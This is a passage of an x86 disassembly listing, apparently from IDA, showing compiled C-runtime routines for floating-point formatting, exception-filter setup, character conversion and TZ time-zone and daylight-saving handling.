; ---------------------------------------------------------------------------
loc_41BCEF: ; CODE XREF: sub_41BC06+A8j
cmp ebx, [edi]
jl short loc_41BD1B
lea eax, [ebp+var_C]
push eax
call sub_41BB52
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_41BB79
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_41BC6D
; ---------------------------------------------------------------------------
loc_41BD1B: ; CODE XREF: sub_41BC06+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_41BB79
pop ecx
pop ecx
loc_41BD32: ; CODE XREF: sub_41BC06+55j
xor eax, eax
loc_41BD34: ; CODE XREF: sub_41BC06+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_41BD63
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_41BD6D
; ---------------------------------------------------------------------------
loc_41BD63: ; CODE XREF: sub_41BC06+14Ej
cmp edi, 20h
jnz short loc_41BD6D
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_41BD6D: ; CODE XREF: sub_41BC06+15Bj
; sub_41BC06+160j
pop edi
pop esi
pop ebx
leave
retn
sub_41BC06 endp
; =============== S U B R O U T I N E =======================================
sub_41BD72 proc near ; CODE XREF: sub_41BD9E+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_42DA70
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BC06
add esp, 0Ch
retn
sub_41BD72 endp
; =============== S U B R O U T I N E =======================================
sub_41BD88 proc near ; CODE XREF: sub_41BDCB+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_42DA88
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BC06
add esp, 0Ch
retn
sub_41BD88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD9E proc near ; CODE XREF: sub_418068+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41CBC3
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41BD72
add esp, 24h
leave
retn
sub_41BD9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BDCB proc near ; CODE XREF: sub_418068+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41CBC3
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41BD88
add esp, 24h
leave
retn
sub_41BDCB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BDF8 proc near ; CODE XREF: sub_4180A6+65p
; sub_4181AA+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_41BE35
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_41BE1B: ; CODE XREF: sub_41BDF8+38j
mov dl, [ecx]
test dl, dl
jz short loc_41BE27
movsx edx, dl
inc ecx
jmp short loc_41BE2A
; ---------------------------------------------------------------------------
loc_41BE27: ; CODE XREF: sub_41BDF8+27j
push 30h
pop edx
loc_41BE2A: ; CODE XREF: sub_41BDF8+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_41BE1B
mov edx, [ebp+arg_8]
loc_41BE35: ; CODE XREF: sub_41BDF8+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_41BE4E
cmp byte ptr [ecx], 35h
jl short loc_41BE4E
loc_41BE41: ; CODE XREF: sub_41BDF8+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_41BE4C
mov byte ptr [eax], 30h
jmp short loc_41BE41
; ---------------------------------------------------------------------------
loc_41BE4C: ; CODE XREF: sub_41BDF8+4Dj
inc byte ptr [eax]
loc_41BE4E: ; CODE XREF: sub_41BDF8+42j
; sub_41BDF8+47j
cmp byte ptr [esi], 31h
jnz short loc_41BE58
inc dword ptr [edx+4]
jmp short loc_41BE6A
; ---------------------------------------------------------------------------
loc_41BE58: ; CODE XREF: sub_41BDF8+59j
push edi
call sub_413DB0
inc eax
push eax
push edi
push esi
call sub_414520
add esp, 10h
loc_41BE6A: ; CODE XREF: sub_41BDF8+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41BDF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE6F proc near ; CODE XREF: sub_4180A6+3Fp
; sub_4181AA+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_41BED3
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_45E9D0
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_41D094
mov ds:dword_45E9F8, eax
add esp, 18h
movsx eax, ds:byte_45E9D2
mov ds:dword_45E9F0, eax
pop edi
movsx eax, ds:word_45E9D0
mov ds:dword_45E9F4, eax
mov ds:dword_45E9FC, offset dword_45E9D4
mov eax, offset dword_45E9F0
pop esi
leave
retn
sub_41BE6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BED3 proc near ; CODE XREF: sub_41BE6F+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_41BF21
cmp ebx, edi
jz short loc_41BF1A
lea edi, [ecx+3C00h]
jmp short loc_41BF42
; ---------------------------------------------------------------------------
loc_41BF1A: ; CODE XREF: sub_41BED3+3Dj
mov edi, 7FFFh
jmp short loc_41BF42
; ---------------------------------------------------------------------------
loc_41BF21: ; CODE XREF: sub_41BED3+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_41BF39
cmp edx, ebx
jnz short loc_41BF39
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_41BF84
; ---------------------------------------------------------------------------
loc_41BF39: ; CODE XREF: sub_41BED3+52j
; sub_41BED3+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_41BF42: ; CODE XREF: sub_41BED3+45j
; sub_41BED3+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_41BF5A: ; CODE XREF: sub_41BED3+A6j
test ecx, esi
jnz short loc_41BF7B
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_41BF5A
; ---------------------------------------------------------------------------
loc_41BF7B: ; CODE XREF: sub_41BED3+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_41BF84: ; CODE XREF: sub_41BED3+64j
pop edi
pop esi
pop ebx
leave
retn
sub_41BED3 endp
; =============== S U B R O U T I N E =======================================
sub_41BF89 proc near ; CODE XREF: sub_415DDC+3AAp
; sub_415DDC+3CBp ...
push 2
call sub_415C7E
pop ecx
retn
sub_41BF89 endp
; =============== S U B R O U T I N E =======================================
sub_41BF92 proc near ; DATA XREF: sub_41BFD8o
; seg002:0042D440o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41BFB5
cmp dword ptr [eax+10h], 3
jnz short loc_41BFB5
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41BFB5
jmp sub_418C2C
; ---------------------------------------------------------------------------
loc_41BFB5: ; CODE XREF: sub_41BF92+Dj
; sub_41BF92+13j ...
mov eax, ds:dword_45EA00
test eax, eax
jz short loc_41BFD2
push eax
call sub_41C02E
test eax, eax
pop ecx
jz short loc_41BFD2
push esi
call ds:dword_45EA00
jmp short loc_41BFD4
; ---------------------------------------------------------------------------
loc_41BFD2: ; CODE XREF: sub_41BF92+2Aj
; sub_41BF92+35j
xor eax, eax
loc_41BFD4: ; CODE XREF: sub_41BF92+3Ej
pop esi
retn 4
sub_41BF92 endp
; =============== S U B R O U T I N E =======================================
sub_41BFD8 proc near ; DATA XREF: seg002:00421020o
push offset sub_41BF92
call ds:dword_41F01C ; SetUnhandledExceptionFilter
mov ds:dword_45EA00, eax
retn
sub_41BFD8 endp
; =============== S U B R O U T I N E =======================================
sub_41BFE9 proc near ; DATA XREF: seg002:00421038o
push ds:dword_45EA00
call ds:dword_41F01C ; SetUnhandledExceptionFilter
retn
sub_41BFE9 endp
; =============== S U B R O U T I N E =======================================
sub_41BFF6 proc near ; CODE XREF: sub_41847E+6Bp
; sub_41898F+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 0A70000h
call far ptr 0F633h:274C085h
mov eax, esi
pop esi
retn
sub_41BFF6 endp
; =============== S U B R O U T I N E =======================================
sub_41C012 proc near ; CODE XREF: sub_41898F+73p
; sub_41898F+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 0A70000h
outsd
test eax, eax
jz short loc_41C02A
xor esi, esi
loc_41C02A: ; CODE XREF: sub_41C012+14j
mov eax, esi
pop esi
retn
sub_41C012 endp
; =============== S U B R O U T I N E =======================================
sub_41C02E proc near ; CODE XREF: sub_41898F+15Bp
; sub_41BF92+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 0A70000h
lodsb
test eax, eax
jz short loc_41C042
xor esi, esi
loc_41C042: ; CODE XREF: sub_41C02E+10j
mov eax, esi
pop esi
retn
sub_41C02E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_418C2C
loc_41C046: ; CODE XREF: sub_418C2C:loc_418C7Dj
push 0Ah
call sub_41AFA9
push 16h
call sub_41D327
pop ecx
pop ecx
push 3
call sub_4158C8
; END OF FUNCTION CHUNK FOR sub_418C2C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C05D proc near ; CODE XREF: sub_418DCD+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_41C080
cmp [ebp+arg_8], ebx
jz short loc_41C080
mov al, [esi]
cmp al, bl
jnz short loc_41C086
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_41C080
mov [eax], bx
loc_41C080: ; CODE XREF: sub_41C05D+Cj
; sub_41C05D+11j ...
xor eax, eax
loc_41C082: ; CODE XREF: sub_41C05D+42j
; sub_41C05D+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C086: ; CODE XREF: sub_41C05D+17j
cmp ds:dword_45E898, ebx
jnz short loc_41C0A1
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_41C09C
movzx ax, al
mov [ecx], ax
loc_41C09C: ; CODE XREF: sub_41C05D+36j
; sub_41C05D+C0j
push 1
pop eax
jmp short loc_41C082
; ---------------------------------------------------------------------------
loc_41C0A1: ; CODE XREF: sub_41C05D+2Fj
mov ecx, ds:off_42D0F0
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41C0FE
mov eax, ds:dword_42D2FC
cmp eax, 1
jle short loc_41C0E5
cmp [ebp+arg_8], eax
jl short loc_41C0EF
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push ds:dword_45E8A8
call ds:dword_41F12C ; MultiByteToWideChar
test eax, eax
mov eax, ds:dword_42D2FC
jnz short loc_41C082
loc_41C0E5: ; CODE XREF: sub_41C05D+5Cj
cmp [ebp+arg_8], eax
jb short loc_41C0EF
cmp [esi+1], bl
jnz short loc_41C082
loc_41C0EF: ; CODE XREF: sub_41C05D+61j
; sub_41C05D+8Bj ...
mov ds:dword_45E804, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41C082
; ---------------------------------------------------------------------------
loc_41C0FE: ; CODE XREF: sub_41C05D+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push ds:dword_45E8A8
call ds:dword_41F12C ; MultiByteToWideChar
test eax, eax
jnz loc_41C09C
jmp short loc_41C0EF
sub_41C05D endp
; =============== S U B R O U T I N E =======================================
sub_41C125 proc near ; CODE XREF: sub_418DCD+76p
; sub_418DCD+88p ...
arg_0 = dword ptr 4
cmp ds:dword_42D2FC, 1
jle short loc_41C13C
push 8
push [esp+4+arg_0]
call sub_4165E6
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C13C: ; CODE XREF: sub_41C125+7j
mov eax, [esp+arg_0]
mov ecx, ds:off_42D0F0
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41C125 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C150 proc near ; CODE XREF: sub_418DCD+797p
; sub_418DCD+7E7p
cmp cl, 40h
jnb short loc_41C16A
cmp cl, 20h
jnb short loc_41C160
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_41C160: ; CODE XREF: sub_41C150+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_41C16A: ; CODE XREF: sub_41C150+3j
xor eax, eax
xor edx, edx
retn
sub_41C150 endp
; =============== S U B R O U T I N E =======================================
sub_41C16F proc near ; CODE XREF: sub_419843+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_41C1BB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_41C18D
test al, 80h
jz short loc_41C1BB
test al, 2
jnz short loc_41C1BB
loc_41C18D: ; CODE XREF: sub_41C16F+14j
cmp dword ptr [esi+8], 0
jnz short loc_41C19A
push esi
call sub_41B0FC
pop ecx
loc_41C19A: ; CODE XREF: sub_41C16F+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_41C1AA
cmp dword ptr [esi+4], 0
jnz short loc_41C1BB
inc eax
mov [esi], eax
loc_41C1AA: ; CODE XREF: sub_41C16F+30j
test byte ptr [esi+0Ch], 40h
jz short loc_41C1C1
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_41C1C7
inc eax
mov [esi], eax
loc_41C1BB: ; CODE XREF: sub_41C16F+9j
; sub_41C16F+18j ...
or eax, 0FFFFFFFFh
loc_41C1BE: ; CODE XREF: sub_41C16F+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C1C1: ; CODE XREF: sub_41C16F+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_41C1C7: ; CODE XREF: sub_41C16F+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_41C1BE
sub_41C16F endp
; =============== S U B R O U T I N E =======================================
sub_41C1DD proc near ; CODE XREF: seg000:loc_4198BDp
cmp ds:dword_45EAC0, 0
jnz short locret_41C1F1
call sub_41C1F2
inc ds:dword_45EAC0
locret_41C1F1: ; CODE XREF: sub_41C1DD+7j
retn
sub_41C1DD endp
; =============== S U B R O U T I N E =======================================
sub_41C1F2 proc near ; CODE XREF: sub_41C1DD+9p
var_4 = dword ptr -4
arg_C = byte ptr 10h
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov ds:dword_45EA08, ebp
mov ds:dword_42DB48, ebx
mov ds:dword_42DB38, ebx
call sub_41D499
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_41C31B
push offset dword_45EA10
call near ptr 0A70000h
mov bh, 3Bh
retn
; ---------------------------------------------------------------------------
jz loc_41C44A
mov eax, ds:dword_45EA10
mov ecx, ds:dword_45EA64
imul eax, 3Ch
cmp ds:word_45EA56, bp
push 1
pop edx
mov ds:dword_42DAA0, eax
mov ds:dword_45EA08, edx
jz short loc_41C269
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov ds:dword_42DAA0, eax
loc_41C269: ; CODE XREF: sub_41C1F2+69j
cmp ds:word_45EAAA, bp
jz short loc_41C28D
mov eax, ds:dword_45EAB8
cmp eax, ebp
jz short loc_41C28D
sub eax, ecx
mov ds:dword_42DAA4, edx
imul eax, 3Ch
mov ds:dword_42DAA8, eax
jmp short loc_41C299
; ---------------------------------------------------------------------------
loc_41C28D: ; CODE XREF: sub_41C1F2+7Ej
; sub_41C1F2+87j
mov ds:dword_42DAA4, ebp
mov ds:dword_42DAA8, ebp
loc_41C299: ; CODE XREF: sub_41C1F2+99j
lea eax, [esp+14h+var_4]
mov esi, ds:dword_41F128
push eax
push ebp
push 3Fh
mov edi, 220h
push ds:off_42DB2C
push ebx
push offset dword_45EA14
push edi
push ds:dword_45E8A8
call esi ; dword_41F128
test eax, eax
jz short loc_41C2D6
cmp dword ptr [esp+arg_C], ebp
jnz short loc_41C2D6
mov eax, ds:off_42DB2C
and byte ptr [eax+3Fh], 0
jmp short loc_41C2DE
; ---------------------------------------------------------------------------
loc_41C2D6: ; CODE XREF: sub_41C1F2+D1j
; sub_41C1F2+D7j
mov eax, ds:off_42DB2C
and byte ptr [eax], 0
loc_41C2DE: ; CODE XREF: sub_41C1F2+E2j
lea eax, [esp+arg_C]
push eax
push ebp
push 3Fh
push ds:off_42DB30
push ebx
push offset dword_45EA68
push edi
push ds:dword_45E8A8
call esi ; dword_41F128
test eax, eax
jz loc_41C442
cmp [esp+14h+var_4], ebp
jnz loc_41C442
mov eax, ds:off_42DB30
and byte ptr [eax+3Fh], 0
jmp loc_41C44A
; ---------------------------------------------------------------------------
loc_41C31B: ; CODE XREF: sub_41C1F2+2Dj
cmp byte ptr [esi], 0
jz loc_41C44A
mov eax, ds:dword_45EABC
cmp eax, ebp
jz short loc_41C33E
push eax
push esi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_41C44A
loc_41C33E: ; CODE XREF: sub_41C1F2+139j
push ds:dword_45EABC
call sub_413ED3
push esi
call sub_413DB0
inc eax
push eax
call sub_413E5F
add esp, 0Ch
cmp eax, ebp
mov ds:dword_45EABC, eax
jz loc_41C44A
push esi
push eax
call sub_413CC0
push 3
push esi
push ds:off_42DB2C
call sub_414DD0
mov eax, ds:off_42DB2C
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_41C393
push 1
inc esi
pop edi
loc_41C393: ; CODE XREF: sub_41C1F2+19Bj
push esi
call sub_413A94
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov ds:dword_42DAA0, ecx
loc_41C3AA: ; CODE XREF: sub_41C1F2+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_41C3B8
cmp al, bl
jl short loc_41C3BB
cmp al, 39h
jg short loc_41C3BB
loc_41C3B8: ; CODE XREF: sub_41C1F2+1BCj
inc esi
jmp short loc_41C3AA
; ---------------------------------------------------------------------------
loc_41C3BB: ; CODE XREF: sub_41C1F2+1C0j
; sub_41C1F2+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_41C40E
inc esi
push esi
call sub_413A94
imul eax, 3Ch
pop ecx
mov ecx, ds:dword_42DAA0
add ecx, eax
mov ds:dword_42DAA0, ecx
loc_41C3D9: ; CODE XREF: sub_41C1F2+1F2j
mov al, [esi]
cmp al, bl
jl short loc_41C3E6
cmp al, 39h
jg short loc_41C3E6
inc esi
jmp short loc_41C3D9
; ---------------------------------------------------------------------------
loc_41C3E6: ; CODE XREF: sub_41C1F2+1EBj
; sub_41C1F2+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_41C40E
inc esi
push esi
call sub_413A94
pop ecx
mov ecx, ds:dword_42DAA0
add ecx, eax
mov ds:dword_42DAA0, ecx
loc_41C401: ; CODE XREF: sub_41C1F2+21Aj
mov al, [esi]
cmp al, bl
jl short loc_41C40E
cmp al, 39h
jg short loc_41C40E
inc esi
jmp short loc_41C401
; ---------------------------------------------------------------------------
loc_41C40E: ; CODE XREF: sub_41C1F2+1CCj
; sub_41C1F2+1F7j ...
cmp edi, ebp
jz short loc_41C41A
neg ecx
mov ds:dword_42DAA0, ecx
loc_41C41A: ; CODE XREF: sub_41C1F2+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov ds:dword_42DAA4, eax
jz short loc_41C442
push 3
push esi
push ds:off_42DB30
call sub_414DD0
mov eax, ds:off_42DB30
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_41C44A
; ---------------------------------------------------------------------------
loc_41C442: ; CODE XREF: sub_41C1F2+10Bj
; sub_41C1F2+115j ...
mov eax, ds:off_42DB30
and byte ptr [eax], 0
loc_41C44A: ; CODE XREF: sub_41C1F2+40j
; sub_41C1F2+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_41C1F2 endp
; =============== S U B R O U T I N E =======================================
sub_41C450 proc near ; CODE XREF: seg000:00419923p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp ds:dword_42DAA4, edi
jnz short loc_41C464
loc_41C45D: ; CODE XREF: sub_41C450+148j
; sub_41C450+150j ...
xor eax, eax
jmp loc_41C5B0
; ---------------------------------------------------------------------------
loc_41C464: ; CODE XREF: sub_41C450+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, ds:dword_42DB38
jnz short loc_41C482
cmp eax, ds:dword_42DB48
jz loc_41C584
loc_41C482: ; CODE XREF: sub_41C450+24j
cmp ds:dword_45EA08, edi
jz loc_41C55A
movzx ecx, ds:word_45EAB6
push ecx
cmp ds:word_45EAA8, di
movzx ecx, ds:word_45EAB4
push ecx
movzx ecx, ds:word_45EAB2
push ecx
movzx ecx, ds:word_45EAB0
push ecx
jnz short loc_41C4D4
movzx ecx, ds:word_45EAAC
push edi
push ecx
movzx ecx, ds:word_45EAAE
push ecx
movzx ecx, ds:word_45EAAA
push ecx
push eax
push ebx
jmp short loc_41C4E8
; ---------------------------------------------------------------------------
loc_41C4D4: ; CODE XREF: sub_41C450+65j
movzx ecx, ds:word_45EAAE
push ecx
push edi
movzx ecx, ds:word_45EAAA
push edi
push ecx
push eax
push edi
loc_41C4E8: ; CODE XREF: sub_41C450+82j
push ebx
call sub_41C5FC
movzx eax, ds:word_45EA62
add esp, 2Ch
cmp ds:word_45EA54, di
push eax
movzx eax, ds:word_45EA60
push eax
movzx eax, ds:word_45EA5E
push eax
movzx eax, ds:word_45EA5C
push eax
jnz short loc_41C542
movzx eax, ds:word_45EA58
push edi
push eax
movzx eax, ds:word_45EA5A
push eax
movzx eax, ds:word_45EA56
push eax
push dword ptr [esi+14h]
push ebx
loc_41C537: ; CODE XREF: sub_41C450+108j
push edi
call sub_41C5FC
add esp, 2Ch
jmp short loc_41C584
; ---------------------------------------------------------------------------
loc_41C542: ; CODE XREF: sub_41C450+C8j
movzx eax, ds:word_45EA5A
push eax
push edi
movzx eax, ds:word_45EA56
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_41C537
; ---------------------------------------------------------------------------
loc_41C55A: ; CODE XREF: sub_41C450+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_41C5FC
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_41C5FC
add esp, 58h
loc_41C584: ; CODE XREF: sub_41C450+2Cj
; sub_41C450+F0j
mov edx, ds:dword_42DB3C
mov eax, ds:dword_42DB4C
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_41C5B4
cmp ecx, edx
jl loc_41C45D
cmp ecx, eax
jg loc_41C45D
cmp ecx, edx
jle short loc_41C5C8
cmp ecx, eax
jge short loc_41C5C8
loc_41C5AE: ; CODE XREF: sub_41C450+166j
; sub_41C450+16Aj
mov eax, ebx
loc_41C5B0: ; CODE XREF: sub_41C450+Fj
; sub_41C450+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C5B4: ; CODE XREF: sub_41C450+144j
cmp ecx, eax
jl short loc_41C5AE
cmp ecx, edx
jg short loc_41C5AE
cmp ecx, eax
jle short loc_41C5C8
cmp ecx, edx
jl loc_41C45D
loc_41C5C8: ; CODE XREF: sub_41C450+158j
; sub_41C450+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_41C5EF
xor ecx, ecx
cmp eax, ds:dword_42DB40
setnl cl
loc_41C5EB: ; CODE XREF: sub_41C450+1AAj
mov eax, ecx
jmp short loc_41C5B0
; ---------------------------------------------------------------------------
loc_41C5EF: ; CODE XREF: sub_41C450+18Ej
xor ecx, ecx
cmp eax, ds:dword_42DB50
setl cl
jmp short loc_41C5EB
sub_41C450 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C5FC proc near ; CODE XREF: sub_41C450+99p
; sub_41C450+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_41C697
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_41C627
shl esi, 2
mov eax, ds:dword_42DB50[esi]
jmp short loc_41C630
; ---------------------------------------------------------------------------
loc_41C627: ; CODE XREF: sub_41C5FC+1Ej
shl esi, 2
mov eax, ds:dword_42DB84[esi]
loc_41C630: ; CODE XREF: sub_41C5FC+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jge short loc_41C66A
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_41C674
; ---------------------------------------------------------------------------
loc_41C66A: ; CODE XREF: sub_41C5FC+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_41C674: ; CODE XREF: sub_41C5FC+6Cj
cmp [ebp+arg_10], 5
jnz short loc_41C6B2
cmp [ebp+arg_8], 0
jnz short loc_41C688
mov esi, ds:dword_42DB54[esi]
jmp short loc_41C68E
; ---------------------------------------------------------------------------
loc_41C688: ; CODE XREF: sub_41C5FC+82j
mov esi, ds:dword_42DB88[esi]
loc_41C68E: ; CODE XREF: sub_41C5FC+8Aj
cmp ecx, esi
jle short loc_41C6B2
sub ecx, 7
jmp short loc_41C6B2
; ---------------------------------------------------------------------------
loc_41C697: ; CODE XREF: sub_41C5FC+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_41C6A8
mov ecx, ds:dword_42DB50[eax*4]
jmp short loc_41C6AF
; ---------------------------------------------------------------------------
loc_41C6A8: ; CODE XREF: sub_41C5FC+A1j
mov ecx, ds:dword_42DB84[eax*4]
loc_41C6AF: ; CODE XREF: sub_41C5FC+AAj
add ecx, [ebp+arg_18]
loc_41C6B2: ; CODE XREF: sub_41C5FC+7Cj
; sub_41C5FC+94j ...
cmp [ebp+arg_0], 1
jnz short loc_41C6E3
mov eax, [ebp+arg_1C]
